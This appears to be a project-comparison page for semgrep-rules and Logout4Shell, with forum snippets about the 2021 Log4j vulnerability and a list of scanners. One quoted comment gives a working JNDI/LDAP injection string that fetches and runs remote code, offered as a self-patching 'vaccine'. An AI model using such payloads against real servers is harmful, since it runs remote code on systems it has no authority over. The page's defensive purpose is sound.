semgrep-rules
Logout4Shell
| semgrep-rules | Logout4Shell | |
|---|---|---|
| 8 | 34 | |
| 707 | 1,727 | |
| 1.1% | - | |
| 9.4 | 2.6 | |
| 4 days ago | over 2 years ago | |
| Solidity | Java | |
| GNU General Public License v3.0 or later | MIT License |
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
semgrep-rules
-
Powerful SAST project for Android Application Security
Nice and all, but why not contribute to https://github.com/returntocorp/semgrep-rules ?
-
Semgrep - Beta support for Rust
Well, the rules they actually added are pretty noisy. There's also not a lot of them.
-
Spring Actuator - Finding Actuators using Static Code Analysis - Part 2
The semgrep registry contains lots of rules for many issues, and you can contribute your own.
-
Just Say No To `:Latest`
Hadolint is great! If you want to customize your lint logic beyond the checks in it, I recently wrote a Semgrep rule to require all our Dockerfiles to pin images with a sha256 hash that could be a good starting point: https://github.com/returntocorp/semgrep-rules/pull/1861/file...
-
RCE 0-day exploit found in log4j, a popular Java logging package
Semgrep Rules for searching source code
-
Hacktoberfest and open-source security
Interested? More details are in this Hacktoberfest README.
- Semgrep rules registry: 1300 linter rules
Logout4Shell
-
Am I able to see which Dropbox accounts have viewed my links?
#1: RCE 0-day exploit found in log4j, a popular Java logging package | 276 comments #2: Godaddy hacked - including admin passwords for both WordPress sites hosted on the platform, as well as passwords for sFTPs, databases and SSL private keys. | 71 comments #3: Log4shell - using the vulnerability to patch the vulnerability - very clever | 64 comments
-
Ein etwas anderer Jahresrückblick: 2021 in Google Suchtrends
Hier gibt es eine Impfung gegen Log4Shell. Kein Witz: https://github.com/Cybereason/Logout4Shell
-
Log4j : Logpresso patch issue - remove jndi from jar
another option : https://github.com/Cybereason/Logout4Shell
-
I heard you can just inject your server with hydroxychloroquine
Yup
-
Patching Log4j
This is actually a thing
-
Analysis of the 2nd Log4j CVE published earlier (CVE-2021-45046 / Log4Shell2)
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
2: https://github.com/Cybereason/Logout4Shell
- GitHub - Cybereason/Logout4Shell: Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
- US warns hundreds of millions of devices at risk from newly revealed software vulnerability
-
Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:
a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it
b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system
-
Log4j 0day being exploited (mega thread/ overview)
For those that are interested!
What are some alternatives?
find-sec-bugs - The SpotBugs plugin for security audits of Java web applications and Android applications. (Also work with Kotlin, Groovy and Scala projects)
grype - A vulnerability scanner for container images and filesystems
CVE-2021-44228-Log4Shell-Hashes - Hashes for vulnerable LOG4J versions
airsonic-advanced
ZAP - The ZAP core project
interactsh - An OOB interaction gathering server and client library
pyre-check - Performant type-checking for python.
Apache Log4j 2 - Apache Log4j 2 is a versatile, feature-rich, efficient logging API and backend for Java.
Log4JShell-Bytecode-Detector - Local Bytecode Scanner for the Log4JShell Vulnerability (CVE-2021-44228)
Logout4Shell - Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
ThreatMapper - Open source cloud native security observability platform. Linux, K8s, AWS Fargate and more.
log4j-detector - A public open sourced tool. Log4J scanner that detects vulnerable Log4J versions (CVE-2021-44228, CVE-2021-45046, etc) on your file-system within any application. It is able to even find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too! TAG_OS_TOOL, OWNER_KELLY, DC_PUBLIC